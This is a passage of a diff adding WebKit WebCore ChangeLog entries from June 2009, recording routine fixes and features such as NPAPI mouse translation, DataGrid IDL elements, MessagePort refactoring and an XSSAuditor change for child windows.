+        Fix NPAPI mouse translation issues on Mac
+
+        The WindowRef we pass to the plugin refers to the the top level window,
+        so the x and y positions have to be relative to this position, but we
+        have to manually compensate for title bar decorations and other parents
+        of the QWebView since contentsToWindow() only traverses to the QWebView.
+
+        Previously we did this compensation when passing on mouse coordinates to
+        the plugin, which caused various issues with translations such as not
+        being able to close the Flash settings dialog, or the hand cursor not
+        appearing over links.
+
+        We now do the compensation as part of the call to NPP_SetWindow, and
+        then pass mouse coordinates in global context without any compensation,
+        similar to how both Safari and Mozilla does it.
+
+        * plugins/mac/PluginViewMac.cpp:
+        (WebCore::PluginView::updatePluginWidget):
+        (WebCore::PluginView::globalMousePosForPlugin):
+
+2009-06-23  Tor Arne Vestbø  <tor.arne.vestbo@nokia.com>
+
+        Rubber-stamped by Simon Hausmann.
+
+        [Qt] Resolve absolute path to library install_name manually
+
+        Since our target.path is set to the Qt directory (to be able
+        to do 'make install') the 'absolute_library_soname' option
+        to QMake did not do the right thing.
+
+        We now compute the absolute path manually using DESTDIR.
+
+        * WebCore.pro:
+
+2009-06-22  Simon Fraser  <simon.fraser@apple.com>
+
+        Reviewed by Oliver Hunt.
+
+        <rdar://problem/6991146> Scrollbars in hardware layers don't change to the
+        inactive look in background windows
+
+        * rendering/RenderLayer.cpp:
+        (WebCore::RenderLayer::paintLayer):
+        Don't short-circuit the "painting" pass that is used to udpate control tints.
+
+2009-06-22  Dimitri Glazkov  <dglazkov@chromium.org>
+
+        Reviewed by Sam Weinig.
+
+        https://bugs.webkit.org/show_bug.cgi?id=26567
+        Upstream V8 bindings code generator. With this change, also added interface ancestor
+        traversal to IDL parser, which is necessary for V8 bindings. The traversal is used
+        to determine whether an interface is a Node to facilitate proper casting and storage
+        in V8DOMMap.
+
+        * bindings/scripts/CodeGenerator.pm: Added parent traversal sub, needed
+            by V8 bindings.
+        * bindings/scripts/CodeGeneratorV8.pm: Added.
+        * bindings/scripts/IDLParser.pm: Modified to allow limited parsing for
+            parent traversal cases.
+
+2009-06-22  Sam Weinig  <sam@webkit.org>
+
+        Reviewed by Gavin Barraclough.
+
+        Add event handler attribute getter/setters to HTMLFrameSetElement
+        as specified in HTML 5.  These match the ones on HTMLBodyElement.
+
+        * dom/Node.h:
+        * html/HTMLFrameSetElement.cpp:
+        (WebCore::HTMLFrameSetElement::parseMappedAttribute):
+        (WebCore::HTMLFrameSetElement::onblur):
+        (WebCore::HTMLFrameSetElement::setOnblur):
+        (WebCore::HTMLFrameSetElement::onerror):
+        (WebCore::HTMLFrameSetElement::setOnerror):
+        (WebCore::HTMLFrameSetElement::onfocus):
+        (WebCore::HTMLFrameSetElement::setOnfocus):
+        (WebCore::HTMLFrameSetElement::onload):
+        (WebCore::HTMLFrameSetElement::setOnload):
+        (WebCore::HTMLFrameSetElement::onbeforeunload):
+        (WebCore::HTMLFrameSetElement::setOnbeforeunload):
+        (WebCore::HTMLFrameSetElement::onmessage):
+        (WebCore::HTMLFrameSetElement::setOnmessage):
+        (WebCore::HTMLFrameSetElement::onoffline):
+        (WebCore::HTMLFrameSetElement::setOnoffline):
+        (WebCore::HTMLFrameSetElement::ononline):
+        (WebCore::HTMLFrameSetElement::setOnonline):
+        (WebCore::HTMLFrameSetElement::onresize):
+        (WebCore::HTMLFrameSetElement::setOnresize):
+        (WebCore::HTMLFrameSetElement::onstorage):
+        (WebCore::HTMLFrameSetElement::setOnstorage):
+        (WebCore::HTMLFrameSetElement::onunload):
+        (WebCore::HTMLFrameSetElement::setOnunload):
+        * html/HTMLFrameSetElement.h:
+        * html/HTMLFrameSetElement.idl:
+
+2009-06-22  Darin Adler  <darin@apple.com>
+
+        Reviewed by Sam Weinig.
+
+        Bug 25425: DOM attribute getter/setter functions should use const AtomicString& type
+        https://bugs.webkit.org/show_bug.cgi?id=25425
+
+        * bindings/scripts/CodeGeneratorJS.pm: Added handling for ReflectURL.
+        * bindings/scripts/CodeGeneratorObjC.pm: Ditto.
+
+        * dom/Element.cpp:
+        (WebCore::Element::getURLAttribute): Added. For use implementing getters
+        for ReflectURL.
+        * dom/Element.h: Added getURLAttribute.
+
+        * html/HTMLImageElement.idl: Use Reflect and ReflectURL.
+
+2009-06-22  Jian Li  <jianli@chromium.org>
+
+        Reviewed by Dimitri Glazkov.
+
+        Bug 26626: Make WorkerContextExecutionProxy::toV8Object handle exception
+        objects.
+        https://bugs.webkit.org/show_bug.cgi?id=26626
+
+        * bindings/v8/WorkerContextExecutionProxy.cpp:
+        (WebCore::WorkerContextExecutionProxy::ToV8Object):
+
+2009-06-22  David Hyatt  <hyatt@apple.com>
+
+        Reviewed by Sam Weinig.
+
+        Add RenderDataGrid to the build.  Give it some basic default styling (that more or less matches a listbox).  It has a default size
+        of 300x150.
+
+        * GNUmakefile.am:
+        * WebCore.pro:
+        * WebCore.vcproj/WebCore.vcproj:
+        * WebCore.xcodeproj/project.pbxproj:
+        * WebCoreSources.bkl:
+        * css/html4.css:
+        * html/HTMLDataGridElement.cpp:
+        (WebCore::HTMLDataGridElement::createRenderer):
+        * html/HTMLDataGridElement.h:
+        * html/HTMLDataGridElement.idl:
+        * rendering/RenderDataGrid.cpp: Added.
+        (WebCore::RenderDataGrid::RenderDataGrid):
+        (WebCore::RenderDataGrid::~RenderDataGrid):
+        (WebCore::RenderDataGrid::calcPrefWidths):
+        (WebCore::RenderDataGrid::paintObject):
+        (WebCore::RenderDataGrid::valueChanged):
+        (WebCore::RenderDataGrid::invalidateScrollbarRect):
+        (WebCore::RenderDataGrid::isActive):
+        * rendering/RenderDataGrid.h: Added.
+        (WebCore::RenderDataGrid::renderName):
+        (WebCore::RenderDataGrid::canHaveChildren):
+        (WebCore::RenderDataGrid::scrollbarCornerPresent):
+
+2009-06-22  Simon Fraser  <simon.fraser@apple.com>
+
+        Reviewed by Dave Hyatt.
+
+        https://bugs.webkit.org/show_bug.cgi?id=26430
+        <rdar://problem/6944442> Elements jump around when they become composited (WWDC checkers demo)
+        <rdar://problem/6989006> Lots of time spent in RenderLayerCompositor::calculateCompositedBounds()
+            during window resize when using hardware layers
+        
+        Fix an ordering dependency which caused the compositing position of a layer
+        to be affected by some later sibling, which affected the compositing ancestor's
+        composited bounds.
+        
+        The fix is to only update the compositing positions of layers in some subtree
+        when updateAfterLayout() has been called on all the layers in that subtree,
+        from the ancestor down.
+        
+        Also cache the composited bounds of a RenderLayerBacking, now that we can
+        guarantee that those bounds are accurate.
+        
+        Test: compositing/sibling-positioning.html
+
+        * rendering/RenderLayer.cpp:
+        (WebCore::RenderLayer::updateLayerPositions):
+        (WebCore::RenderLayer::hitTestLayer):
+        * rendering/RenderLayerBacking.cpp:
+        (WebCore::RenderLayerBacking::RenderLayerBacking):
+        (WebCore::RenderLayerBacking::updateAfterLayout):
+        (WebCore::RenderLayerBacking::updateGraphicsLayerGeometry):
+        (WebCore::RenderLayerBacking::contentOffsetInCompostingLayer):
+        (WebCore::RenderLayerBacking::paintContents):
+        (WebCore::RenderLayerBacking::compositedBounds):
+        (WebCore::RenderLayerBacking::setCompositedBounds):
+        * rendering/RenderLayerBacking.h:
+        * rendering/RenderLayerCompositor.cpp:
+        (WebCore::RenderLayerCompositor::updateBacking):
+        (WebCore::RenderLayerCompositor::updateLayerCompositingState):
+        (WebCore::RenderLayerCompositor::calculateCompositedBounds):
+        (WebCore::RenderLayerCompositor::layerWillBeRemoved):
+        (WebCore::RenderLayerCompositor::computeCompositingRequirements):
+        (WebCore::RenderLayerCompositor::rebuildCompositingLayerTree):
+        (WebCore::RenderLayerCompositor::updateCompositingChildrenGeometry):
+        * rendering/RenderLayerCompositor.h:
+
+2009-06-22  Jeremy Orlow  <jorlow@chromium.org>
+
+        Reviewed by Darin Fisher.
+
+        First step in https://bugs.webkit.org/show_bug.cgi?id=25376
+
+        Add StorageSyncManager.cpp/h
+
+        * GNUmakefile.am:
+        * WebCore.pro:
+        * WebCore.vcproj/WebCore.vcproj:
+        * WebCore.xcodeproj/project.pbxproj:
+        * WebCoreSources.bkl:
+
+        In preparation for combining SessionStorage and LocalStorage into a
+        single StorageManager, move the syncing bits out of LocalStorage and
+        into its own class.
+
+        The next step is to combine LocalStorageArea and SessionStorageArea
+        into one.  Then SessionStorage and LocalStorage can be combined.
+
+        Note that combining them will cut down on code paths that must be
+        proxied, eliminate virtual dispatch, and allow Chromium to (eventually)
+        write historical sessionStorage to disk when memory is getting tight.
+
+        Also remove a couple bits of cruft including code for quotas which is
+        unnecessary (since a meta-data db is unnecessary since you can just
+        count bytes as you read the local storage databases into memory).
+
+        * storage/LocalStorage.cpp:
+        (WebCore::LocalStorage::LocalStorage):
+        (WebCore::LocalStorage::storageArea):
+        (WebCore::LocalStorage::close):
+        * storage/LocalStorage.h:
+        * storage/LocalStorageArea.cpp:
+        (WebCore::LocalStorageArea::LocalStorageArea):
+        (WebCore::LocalStorageArea::scheduleFinalSync):
+        (WebCore::LocalStorageArea::syncTimerFired):
+        (WebCore::LocalStorageArea::performImport):
+        * storage/LocalStorageArea.h:
+        (WebCore::LocalStorageArea::create):
+        * storage/LocalStorageTask.cpp:
+        (WebCore::LocalStorageTask::performTask):
+        * storage/LocalStorageTask.h:
+        (WebCore::LocalStorageTask::):
+        (WebCore::LocalStorageTask::createImport):
+        * storage/LocalStorageThread.cpp:
+        * storage/LocalStorageThread.h:
+        * storage/SessionStorage.h:
+        * storage/StorageSyncManager.cpp: Copied from WebCore/storage/LocalStorage.cpp.
+        (WebCore::StorageSyncManager::create):
+        (WebCore::StorageSyncManager::StorageSyncManager):
+        (WebCore::StorageSyncManager::fullDatabaseFilename):
+        (WebCore::StorageSyncManager::close):
+        (WebCore::StorageSyncManager::scheduleImport):
+        (WebCore::StorageSyncManager::scheduleSync):
+        * storage/StorageSyncManager.h: Copied from WebCore/storage/LocalStorage.h.
+        (WebCore::):
+
+2009-06-22  Darin Fisher  <darin@chromium.org>
+
+        Reviewed by Dimitri Glazkov.
+
+        https://bugs.webkit.org/show_bug.cgi?id=26622
+        Add ChromiumDataObject::copy()
+
+        * platform/chromium/ChromiumDataObject.cpp:
+        * platform/chromium/ChromiumDataObject.h:
+
+2009-06-22  Timothy Hatcher  <timothy@apple.com>
+
+        Add a silhouette image for the enable view of the Resource panel.
+
+        Reviewed by Kevin McCullough.
+
+        * inspector/front-end/Images/resourcesSilhouette.png: Added.
+        * inspector/front-end/inspector.css:
+
+2009-06-22  Kyle Prete  <kylep@chromium.org>
+
+        Reviewed by Dimitri Glazkov.
+
+        https://bugs.webkit.org/show_bug.cgi?id=26552
+        Add V8 JS bindings for Audio Constructor.
+
+        * bindings/v8/custom/V8CustomBinding.h:
+        Added a callback declaration for audio ctor to macro.
+        * bindings/v8/custom/V8HTMLAudioElementConstructor.cpp:
+        Added the whole file.
+
+2009-06-22  Alexey Proskuryakov  <ap@webkit.org>
+
+        Reviewed by David Levin.
+
+        https://bugs.webkit.org/show_bug.cgi?id=26600
+        StringImpl::copy() no longer copies empty string correctly
+
+        * platform/text/StringImpl.cpp:
+        (WebCore::StringImpl::ustring): Changed method calling syntax to look less like calling a
+        static method.
+        (WebCore::StringImpl::copy): Reverted part of r41917 that caused the problem.
+
+2009-06-22  Xiaomei Ji  <xji@chromium.org>
+
+        Reviewed by Eric Seidel
+
+        Not auto-testable since it involves sending a keyboard event to
+        the popup, which is not possible (eventSender sends the key
+        events through webview, we want to go through the webwidget).
+
+        This patch is one part of the fix for issue "keyboard selection in
+        Hebrew select element does not work in Windows". The other part of the
+        fix is in chromium's webkit/glue layer.
+        https://bugs.webkit.org/show_bug.cgi?id=25899
+
+        * manual-tests/keyboard_select_non_english.html: Added.
+        * platform/chromium/PopupMenuChromium.cpp:
+        (WebCore::isCharacterTypeEvent): Added. Check whether the event is a 
+        character type event. "Char" in Windows or "KeyDown" in Mac is character
+        type event.
+        (WebCore::PopupListBox::typeAheadFind): Since m_lastCharTime is used to
+        indicate whether user types multiple characters continuely as a search
+        prefix or not, it should be only assigned when the event is character 
+        type event. 
+
+2009-06-22  Kevin McCullough  <kmccullough@apple.com>
+
+        Reviewed by Darin Adler.
+
+        <rdar://problem/6115819> Notify of profile start in console
+
+        Put a message in the console that announces that a profile has started,
+        similar to how a console message announces that a profile has finished.
+
+        * inspector/InspectorController.cpp:
+        (WebCore::InspectorController::addProfile): Use renamed function.
+        (WebCore::InspectorController::addProfileFinishedMessageToConsole):
+        Renamed.
+        (WebCore::InspectorController::addStartProfilingMessageToConsole):
+        New function that logs the message about the profile starting.
+        (WebCore::InspectorController::startUserInitiatedProfiling): Ditto
+        * inspector/InspectorController.h:
+        * inspector/front-end/ProfilesPanel.js: Print the "run" of the profile's
+        title if there are multiple profiles, and take into account the fact
+        that titles are displayed twice as much now.
+        (WebInspector.ProfilesPanel.prototype.displayTitleForProfileLink):
+        * page/Console.cpp:
+        (WebCore::Console::profile): Call new function.
+
+2009-06-22  David Hyatt  <hyatt@apple.com>
+
+        Reviewed by Sam Weinig.
+
+        https://bugs.webkit.org/show_bug.cgi?id=26615
+
+        Add IDL interface for datagrid cell elements.  Add a few more properties to the datagrid itself that
+        correspond to ones you find on <select> elements.
+
+        Add an expanded property to row elements.
+
+        * DerivedSources.cpp:
+        * DerivedSources.make:
+        * GNUmakefile.am:
+        * WebCore.pro:
+        * WebCore.vcproj/WebCore.vcproj:
+        * WebCore.xcodeproj/project.pbxproj:
+        * WebCoreSources.bkl:
+        * html/HTMLAttributeNames.in:
+        * html/HTMLDataGridCellElement.cpp: Added.
+        (WebCore::HTMLDataGridCellElement::HTMLDataGridCellElement):
+        (WebCore::HTMLDataGridCellElement::label):
+        (WebCore::HTMLDataGridCellElement::setLabel):
+        (WebCore::HTMLDataGridCellElement::focused):
+        (WebCore::HTMLDataGridCellElement::setFocused):
+        (WebCore::HTMLDataGridCellElement::checked):
+        (WebCore::HTMLDataGridCellElement::setChecked):
+        (WebCore::HTMLDataGridCellElement::indeterminate):
+        (WebCore::HTMLDataGridCellElement::setIndeterminate):
+        (WebCore::HTMLDataGridCellElement::progress):
+        (WebCore::HTMLDataGridCellElement::setProgress):
+        * html/HTMLDataGridCellElement.h: Added.
+        (WebCore::HTMLDataGridCellElement::endTagRequirement):
+        (WebCore::HTMLDataGridCellElement::tagPriority):
+        * html/HTMLDataGridCellElement.idl: Added.
+        * html/HTMLDataGridElement.cpp:
+        (WebCore::HTMLDataGridElement::autofocus):
+        (WebCore::HTMLDataGridElement::setAutofocus):
+        (WebCore::HTMLDataGridElement::disabled):
+        (WebCore::HTMLDataGridElement::setDisabled):
+        (WebCore::HTMLDataGridElement::size):
+        (WebCore::HTMLDataGridElement::setSize):
+        * html/HTMLDataGridElement.h:
+        * html/HTMLDataGridElement.idl:
+        * html/HTMLDataGridRowElement.cpp:
+        (WebCore::HTMLDataGridRowElement::checkDTD):
+        (WebCore::HTMLDataGridRowElement::expanded):
+        (WebCore::HTMLDataGridRowElement::setExpanded):
+        * html/HTMLDataGridRowElement.h:
+        * html/HTMLDataGridRowElement.idl:
+        * html/HTMLElementsAllInOne.cpp:
+        * html/HTMLTagNames.in:
+
+2009-06-22  Sam Weinig  <sam@webkit.org>
+
+        Reviewed by Mark Rowe.
+
+        Add event handler attribute getter/setters to HTMLBodyElement
+        as specified in HTML 5.
+
+        - Removes erroneous inclusion of the onresize and onunload event
+        handler attributes in Element and Document.
+
+        * dom/Document.cpp:
+        (WebCore::Document::getWindowAttributeEventListener):
+        * dom/Document.h:
+        * dom/Document.idl:
+        * dom/Element.idl:
+        * dom/Node.cpp:
+        * dom/Node.h: onblur, onerror, onfocus, and onload all need to be declared
+        virtual, since their behavior for HTMLBodyElement differs from the base
+        implementation.
+        * html/HTMLBodyElement.cpp:
+        (WebCore::HTMLBodyElement::onblur):
+        (WebCore::HTMLBodyElement::setOnblur):
+        (WebCore::HTMLBodyElement::onerror):
+        (WebCore::HTMLBodyElement::setOnerror):
+        (WebCore::HTMLBodyElement::onfocus):
+        (WebCore::HTMLBodyElement::setOnfocus):
+        (WebCore::HTMLBodyElement::onload):
+        (WebCore::HTMLBodyElement::setOnload):
+        (WebCore::HTMLBodyElement::onbeforeunload):
+        (WebCore::HTMLBodyElement::setOnbeforeunload):
+        (WebCore::HTMLBodyElement::onmessage):
+        (WebCore::HTMLBodyElement::setOnmessage):
+        (WebCore::HTMLBodyElement::onoffline):
+        (WebCore::HTMLBodyElement::setOnoffline):
+        (WebCore::HTMLBodyElement::ononline):
+        (WebCore::HTMLBodyElement::setOnonline):
+        (WebCore::HTMLBodyElement::onresize):
+        (WebCore::HTMLBodyElement::setOnresize):
+        (WebCore::HTMLBodyElement::onstorage):
+        (WebCore::HTMLBodyElement::setOnstorage):
+        (WebCore::HTMLBodyElement::onunload):
+        (WebCore::HTMLBodyElement::setOnunload):
+        * html/HTMLBodyElement.h:
+        * html/HTMLBodyElement.idl:
+
+2009-06-22  Alexey Proskuryakov  <ap@webkit.org>
+
+        Reviewed by Darin Adler.
+
+        https://bugs.webkit.org/show_bug.cgi?id=26601
+        Remove disabled code for appcache dynamic entries
+
+        This also removes code for DOM 3 Core DOMStringList, which we don't use for anything else yet.
+
+        * DerivedSources.cpp:
+        * DerivedSources.make:
+        * GNUmakefile.am:
+        * WebCore.pro:
+        * WebCore.vcproj/WebCore.vcproj:
+        * WebCore.xcodeproj/project.pbxproj:
+        * WebCoreSources.bkl:
+        * bindings/js/JSDOMStringListCustom.cpp: Removed.
+        * bindings/v8/custom/V8CustomBinding.h:
+        * bindings/v8/custom/V8DOMStringListCustom.cpp: Removed.
+        * dom/DOMStringList.cpp: Removed.
+        * dom/DOMStringList.h: Removed.
+        * dom/DOMStringList.idl: Removed.
+        * dom/StaticStringList.cpp: Removed.
+        * dom/StaticStringList.h: Removed.
+        * loader/DocumentLoader.cpp:
+        (WebCore::DocumentLoader::shouldLoadResourceFromApplicationCache):
+        * loader/appcache/ApplicationCache.cpp:
+        (WebCore::ApplicationCache::addResource):
+        * loader/appcache/ApplicationCache.h:
+        * loader/appcache/ApplicationCacheGroup.cpp:
+        (WebCore::ApplicationCacheGroup::didFinishLoadingManifest):
+        (WebCore::ApplicationCacheGroup::checkIfLoadIsComplete):
+        * loader/appcache/ApplicationCacheResource.cpp:
+        (WebCore::ApplicationCacheResource::dumpType):
+        * loader/appcache/ApplicationCacheResource.h:
+        (WebCore::ApplicationCacheResource::):
+        * loader/appcache/ApplicationCacheStorage.cpp:
+        (WebCore::ApplicationCacheStorage::storeUpdatedType):
+        * loader/appcache/DOMApplicationCache.cpp:
+        * loader/appcache/DOMApplicationCache.h:
+        * loader/appcache/DOMApplicationCache.idl:
+        * page/DOMWindow.idl:
+
+2009-06-22  Steve Falkenburg  <sfalken@apple.com>
+
+        Windows build fix.
+
+        * DerivedSources.cpp:
+        * html/HTMLElementsAllInOne.cpp:
+
+2009-06-22  Alexey Proskuryakov  <ap@webkit.org>
+
+        Reviewed by John Sullivan.
+
+        <rdar://problem/6956606> REGRESSION (S4Beta -> Final): After the password is input,
+        Japanese can't be input.
+
+        WebKit uses a per-frame input context for most editable fields, and application's global
+        context for password fields, manually controlling secure input state and the list of available
+        input sources.
+
+        We were setting TSMDocument property to disable non-Roman input methods after focus changed
+        to a password field, but before selection was updated. This resulted in the property being
+        applied to a wrong TSMDocument in some cases, because TSMGetActiveDocument() uses input
+        context cached by +[NSApplication updateWindows], we change context based on selection,
+        not on focus.
+
+        * page/mac/FrameMac.mm: (WebCore::Frame::setUseSecureKeyboardEntry): Since there is only one
+        context that we use for password fields - the global one - there is no need to get the active
+        one.
+
+2009-06-22  David Levin  <levin@chromium.org>
+
+        Reviewed by David Hyatt and Eric Seidel.
+
+        REGRESSION: When the main page (ScrollView) has a custom scrollbar, it crashes on destruction.
+        https://bugs.webkit.org/show_bug.cgi?id=26326
+
+        Test: scrollbars/scrollbar-crash-on-refresh.html
+
+        * dom/Document.cpp:
+        (WebCore::Document::detach):
+        Gives the FrameView a change to do any necessary cleanup on
+        Document::detach() which is where the renderArena gets detroyed.
+        * page/FrameView.cpp:
+        (WebCore::FrameView::detachCustomScrollbars):
+        Gets rid of any custom scrollbars (if the docment supplied them).
+        * page/FrameView.h:
+        * platform/Scrollbar.h:
+        (WebCore::Scrollbar::isCustomScrollbar):
+        * rendering/RenderObject.cpp:
+        (WebCore::RenderObject::destroy):
+        Removed the check for document()->frame().  If frame() is 0 in this code,
+        then the call to animation() is also incorrect (since it does document()->frame()->animation()).
+        * rendering/RenderScrollbar.h:
+        (WebCore::RenderScrollbar::isCustomScrollbar):
+
+2009-06-22  Dan Bernstein  <mitz@apple.com>
+
+        Reviewed by Simon Fraser.
+
+        - fix https://bugs.webkit.org/show_bug.cgi?id=23606
+          <rdar://problem/6537777> CSS gradient not repainted when image load
+          completes
+
+        Test: fast/repaint/background-generated.html
+
+        * rendering/RenderObject.cpp:
+        (WebCore::mustRepaintFillLayers): Return true if the layer does not
+        specify a size and the image uses the container size.
+
+2009-06-22  David Hyatt  <hyatt@apple.com>
+
+        Reviewed by Sam Weinig.
+
+        https://bugs.webkit.org/show_bug.cgi?id=26607
+
+        Add IDL for HTMLDataGridRowElement.
+
+        * DerivedSources.make:
+        * GNUmakefile.am:
+        * WebCore.pro:
+        * WebCore.vcproj/WebCore.vcproj:
+        * WebCore.xcodeproj/project.pbxproj:
+        * WebCoreSources.bkl:
+        * html/HTMLAttributeNames.in:
+        * html/HTMLDataGridColElement.cpp:
+        (WebCore::HTMLDataGridColElement::primary):
+        (WebCore::HTMLDataGridColElement::setPrimary):
+        * html/HTMLDataGridColElement.h:
+        * html/HTMLDataGridColElement.idl:
+        * html/HTMLDataGridElement.cpp:
+        (WebCore::HTMLDataGridElement::checkDTD):
+        (WebCore::HTMLDataGridElement::multiple):
+        (WebCore::HTMLDataGridElement::setMultiple):
+        * html/HTMLDataGridElement.h:
+        * html/HTMLDataGridElement.idl:
+        * html/HTMLDataGridRowElement.cpp: Added.
+        (WebCore::HTMLDataGridRowElement::HTMLDataGridRowElement):
+        (WebCore::HTMLDataGridRowElement::selected):
+        (WebCore::HTMLDataGridRowElement::setSelected):
+        (WebCore::HTMLDataGridRowElement::focused):
+        (WebCore::HTMLDataGridRowElement::setFocused):
+        * html/HTMLDataGridRowElement.h: Added.
+        (WebCore::HTMLDataGridRowElement::tagPriority):
+        * html/HTMLDataGridRowElement.idl: Added.
+        * html/HTMLTagNames.in:
+
+2009-06-19  Yael Aharon <yael.aharon@nokia.com>
+
+        Reviewed by Holger Freyther.
+
+        https://bugs.webkit.org/show_bug.cgi?id=26556
+
+        Fix a crash in case that the QNetworkReply::readReady signal is
+        "stuck" in deferred mode due to JavaScript alert, and in the meantime,
+        QNetworkreply::finished signal is received and processed before
+        QNetworkReply::readReady is processed.
+
+        * manual-tests/qt/unload-alert.html: Added.
+        * platform/network/qt/QNetworkReplyHandler.cpp:
+        (WebCore::QNetworkReplyHandler::setLoadMode):
+        (WebCore::QNetworkReplyHandler::finish):
+        (WebCore::QNetworkReplyHandler::sendResponseIfNeeded):
+        (WebCore::QNetworkReplyHandler::forwardData):
+        (WebCore::QNetworkReplyHandler::start):
+        (WebCore::QNetworkReplyHandler::sendQueuedItems):
+        * platform/network/qt/QNetworkReplyHandler.h:
+        (WebCore::QNetworkReplyHandler::):
+
+2009-06-22  Tor Arne Vestbø  <tor.arne.vestbo@nokia.com>
+
+        Fix the Qt build.
+
+        * WebCore.pro:
+
+2009-06-21  Darin Adler  <darin@apple.com>
+
+        Reviewed by Sam Weinig.
+
+        Bug 25425: DOM attribute getter/setter functions should use const AtomicString& type
+        https://bugs.webkit.org/show_bug.cgi?id=25425
+
+        * bindings/scripts/CodeGeneratorJS.pm: Tweaked mechanism for includes to be a bit
+        more consistent and to make SVGElement.h be included in the header rather than in
+        every implementation file that includes the header. Added code to use getAttribute
+        and setAttribute directly when the [Reflect] extended attribute is used.
+
+        * bindings/scripts/CodeGeneratorObjC.pm: Ditto.
+
+        * html/HTMLElement.idl: Used [Reflect] for all the attributes in this class that
+        reflect content attributes. Restricting this to one class for now to keep the
+        patch small and start out slowly.
+
+2009-06-21  Sam Weinig  <sam@webkit.org>
+
+        Reviewed by Oliver Hunt.
+
+        Fix for https://bugs.webkit.org/show_bug.cgi?id=26596
+        Only expose event handler attributes to elements and documents.
+
+        Test: fast/dom/event-attribute-availability.html
+
+        * dom/Document.idl:
+        * dom/Element.idl:
+        * dom/Node.cpp:
+        * dom/Node.h:
+        * dom/Node.idl:
+
+2009-06-21  Daniel Bates  <dbates@intudata.com>
+
+        Reviewed by Adam Barth.
+
+        https://bugs.webkit.org/show_bug.cgi?id=26580
+        
+        Fix to enable XSSAuditor on child windows.
+        
+        Test: http/tests/security/xssAuditor/link-opens-new-window.html
+        
+        * page/XSSAuditor.cpp:
+        (WebCore::XSSAuditor::XSSAuditor):
+        (WebCore::XSSAuditor::isEnabled):
+        (WebCore::XSSAuditor::canEvaluate):
+        (WebCore::XSSAuditor::canCreateInlineEventListener):
+        (WebCore::XSSAuditor::canLoadExternalScriptFromSrc):
+        (WebCore::XSSAuditor::canLoadObject):
+        * page/XSSAuditor.h: Removed method setXSSAuditorEnabled, and field m_isEnabled.
+        Moved implementation of isEnabled to XSSAuditor.cpp and changed implementation
+        to query Settings.
+
+2009-06-21  David Levin  <levin@chromium.org>
+
+        Reviewed by NOBODY.
+
+        Speculative windows build fix (idea by Mark Rowe).
+
+        * WebCore.vcproj/WebCore.vcproj:
+
+2009-06-21  David Levin  <levin@chromium.org>
+
+        Reviewed by NOBODY (Speculative gtk build fix).
+
+        * GNUmakefile.am:
+
+2009-06-21  David Levin  <levin@chromium.org>
+
+        Reviewed by NOBODY.
+
+        Speculative tiger build fix and a windows build fix.
+        More fixes may still be in order.
+
+        * WebCore.vcproj/WebCoreCommon.vsprops:
+        * dom/default/PlatformMessagePortChannel.h:
+        (WebCore::PlatformMessagePortChannel::MessagePortQueue::tryGetMessage):
+
+2009-06-21  David Levin  <levin@chromium.org>
+
+        Reviewed by NOBODY (Speculative tiger build fix).
+
+        * dom/default/PlatformMessagePortChannel.h:
+        (WebCore::PlatformMessagePortChannel::MessagePortQueue::~MessagePortQueue):
+
+2009-06-21  Drew Wilson  <atwilson@google.com>
+
+        Reviewed by David Levin.
+
+        <https://bugs.webkit.org/show_bug.cgi?id=26448>
+        
+        Added optimized GC for MessagePorts when the entangled port is run by the same thread.
+        Fixed bug in isProxyFor() that was not properly throwing an exception when trying to clone the entangled port.
+
+        * bindings/js/JSDOMBinding.cpp:
+        (WebCore::markActiveObjectsForContext):
+        Now marks remotely entangled ports as in-use, in addition to those with pending activity.
+        * bindings/js/JSMessagePortCustom.cpp:
+        (WebCore::JSMessagePort::mark):
+        Now checks if the entangled port is local (run by same thread) and if so mark()s it.
+        * dom/MessagePort.cpp:
+        (WebCore::MessagePort::postMessage):
+        (WebCore::MessagePort::disentangle):
+        Removes cloned ports from the ScriptExecutionContext - this allows cloned ports to be GC'd as otherwise they look like remotely entangled ports.
+        (WebCore::MessagePort::start):
+        (WebCore::MessagePort::locallyEntangledPort):
+        Added API for fetching the entangled port if it is run by the same thread
+        * dom/MessagePort.h:
+        * dom/MessagePortProxyWrapper.h:
+        * dom/default/MessagePortProxy.cpp:
+        (WebCore::MessagePortProxyWrapper::locallyEntangledPort):
+        Added API for fetching the entangled port if it is run by the same thread        
+        (WebCore::MessagePortProxy::hasPendingActivity):
+        Changed definition of hasPendingActivity() to be stricter - only returns true if there are pending messages.
+        (WebCore::MessagePortProxy::locallyEntangledPort):
+        * dom/default/MessagePortProxy.h:
+
+2009-06-21  Drew Wilson  <atwilson@google.com>
+
+        Reviewed by David Levin.
+
+        <https://bugs.webkit.org/show_bug.cgi?id=25043>
+        Removed obsolete MessagePort.startConversation(), active and onclose APIs.
+
+        Refactored MessagePortProxy into MessagePortChannel and a platform-dependent PlatformMessagePortChannel
+        implementation. Modified APIs to simplify cross-process implementations by moving the messaging code
+        entirely into the platform-dependent proxy.
+
+        Created a thread-safe default PlatformMessagePortChannel implementation.
+
+        Changed DOMWindow messaging to create the MessageEvent in the target ScriptExecutionContext to match how
+        cross-thread MessagePorts work.
+        
+        * GNUMakefile.am:
+        * WebCore.vcproj/WebCore.vcproj:
+        * WebCore.xcodeproj/project.pbxproj:
+            Added MessagePortChannel/PlatformMessagePortChannel files.
+        * bindings/js/JSMessagePortCustom.cpp:
+        (WebCore::JSMessagePort::mark):
+            Changed ports to not mark their entangled pair as reachable, per the spec.
+        * bindings/v8/custom/V8MessagePortCustom.cpp:
+        * dom/MessageChannel.cpp:
+        (WebCore::MessageChannel::MessageChannel):
+            Updated to use PlatformMessagePortChannel::createChannel() to entangle the ports.
+        * dom/MessagePort.cpp:
+        (WebCore::MessagePort::MessagePort):
+        (WebCore::MessagePort::~MessagePort):
+        (WebCore::MessagePort::postMessage):
+        (WebCore::MessagePort::disentangle):
+        (WebCore::MessagePort::messageAvailable):
+        (WebCore::MessagePort::start):
+        (WebCore::MessagePort::close):
+        (WebCore::MessagePort::entangle):
+        (WebCore::MessagePort::contextDestroyed):
+        (WebCore::MessagePort::dispatchMessages):
+        (WebCore::MessagePort::setOnmessage):
+        (WebCore::MessagePort::hasPendingActivity):
+            Changed these APIs to delegate to new PlatformMessagePortChannel APIs.
+        * dom/MessagePort.h:
+            Renamed isQueueOpen() to started().
+        * dom/MessagePort.idl:
+            Removed startConversation and onclose.
+        * dom/MessagePortProxy.h: Removed.
+        * dom/MessagePortChannel.cpp: Added.
+        (WebCore::MessagePortChannel::EventData::create):
+        (WebCore::MessagePortChannel::EventData::EventData):
+        (WebCore::MessagePortChannel::~MessagePortChannel):
+        * dom/MessagePortChannel.h: Added.
+        (WebCore::MessagePortChannel::EventData::message):
